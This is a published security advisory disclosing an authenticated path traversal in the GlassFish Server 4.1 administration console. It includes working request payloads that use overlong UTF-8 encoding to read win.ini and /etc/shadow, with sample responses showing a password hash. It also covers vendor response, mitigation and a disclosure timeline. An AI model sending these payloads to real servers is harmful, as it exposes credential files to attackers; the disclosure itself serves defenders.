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Trustwave SpiderLabs Security Advisory TWSL2015-016: Path Traversal in Oracle GlassFish Server Open Source Edition Published: 08/27/2015 Version: 1.0 Vendor: Oracle Corporation (Project sponsored by Oracle) Product: GlassFish Server Open Source Edition Version affected:4.1 and prior versions Product description: Built using the GlassFish Server Open Source Edition, Oracle GlassFish Server delivers a flexible, lightweight and extensible Java EE 6 platform. It provides a small footprint, fully featured Java EE application server that is completely supported for commercial deployment and is available as a standalone offering. The Administration Console of Oracle GlassFish Server, which is listening by default on port 4848/TCP, is prone to a directory traversal vulnerability. This vulnerability can be exploited by remote attackers to access sensitive data on the server being authenticated. Finding 1: Directory traversal Credit: Piotr Karolak of Trustwave's SpiderLabs #Proof of Concept on Microsoft Windows installation The authenticated Directory Traversal vulnerability can be exploited by issuing a specially crafted HTTP GET request utilizing a simple bypass, %C0%2F instead of (/),URL encoding. Example: REQUEST ======== GET /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini GET /theme/META-INF/json%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini GET /theme/META-INF/dojo%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini GET /theme/META-INF%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini GET /theme/com/sun%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini GET /theme/com%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini Cookie: JSESSIONID=5c47a3575077b014449e17877a0c Accept-Language: en-US Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: https://a.b.c.d:4848/ Host: a.b.c.d:4848 RESPONSE ======== HTTP/1.1 200 OK Server: GlassFish Server Open Source Edition4.1 X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition4.1Java/Oracle Corporation/1.8) Last-Modified: Mon, 12 Jan 2015 10:00:00 GMT Transfer-Encoding: chunked ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 CMCDLLNAME32=mapi32.dll CMC=1 MAPIX=1 MAPIXVER=1.0.0.1 OLEMessaging=1 [MCI Extensions.BAK] 3g2=MPEGVideo 3gp=MPEGVideo 3gp2=MPEGVideo 3gpp=MPEGVideo aac=MPEGVideo adt=MPEGVideo adts=MPEGVideo m2t=MPEGVideo m2ts=MPEGVideo m2v=MPEGVideo m4a=MPEGVideo m4v=MPEGVideo mod=MPEGVideo mov=MPEGVideo mp4=MPEGVideo mp4v=MPEGVideo mts=MPEGVideo ts=MPEGVideo tts=MPEGVideo The response contains the contents of the "win.ini" file, proving that the server allows remote users to download the contents of system files. #Proof of Concept on Linux installation Example: REQUEST ======= GET /theme/META-INF/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afshadow/ GET /theme/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afshadow HTTP/1.1 Host: a.b.c.d:4848 Accept: */* Accept-Language: en Connection: close RESPONSE ======== HTTP/1.1 200 OK Server: GlassFish Server Open Source Edition4.1 X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition4.1Java/Oracle Corporation/1.7) Last-Modified: Tue, 13 Jan 2015 10:00:00 GMT Date: Tue, 10 Jan 2015 10:00:00 GMT Connection: close Content-Length: 1087 root:!:16436:0:99999:7::: daemon:*:16273:0:99999:7::: bin:*:16273:0:99999:7::: sys:*:16273:0:99999:7::: sync:*:16273:0:99999:7::: TRUNCATED lightdm:*:16273:0:99999:7::: colord:*:16273:0:99999:7::: hplip:*:16273:0:99999:7::: pulse:*:16273:0:99999:7::: test:$1$Duuk9PXN$IzWNTK/hPfl2jzhHmnrVL.:16436:0:99999:7::: smmta:*:16436:0:99999:7::: smmsp:*:16436:0:99999:7::: mysql:!:16436:0:99999:7::: Vendor Response: "We plan to fix this issue in the next major GlassFish Server Open Source Edition release." Remediation Steps: No fix is available at this time for the GlassFish Server Open Source Edition release. However, this vulnerability can be mitigated with the use of technologies, such as Web Application Firewalls (WAF) or Intrusion Prevention Systems (IPS).Please note that Oracle GlassFish Server 3.x which is the current commercial release of GlassFish is not affected. Revision History: 01/12/2015 - Vulnerability disclosed to vendor 02/18/2015 - Notified vendor about the updates to TW security policy 05/19/2015 - Ninety-day deadline exceeded 07/14/2015 - Requested status from vendor 07/31/2015 - Requested status from vendor 08/21/2015 - Notified vendor about public disclosure 08/27/2015 - Advisory published References 1. https://www.owasp.org/index.php/Path_Traversal 2. https://glassfish.java.net/ 3. http://www.oracle.com/us/products/middleware/cloud-app-foundation/glassfish-server/overview/index.html About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risks. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs while safely embracing business imperatives including big data, BYOD and social media. More than 2.5 million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective data protection, risk management and threat intelligence. Trustwave is a privately held company, headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. |
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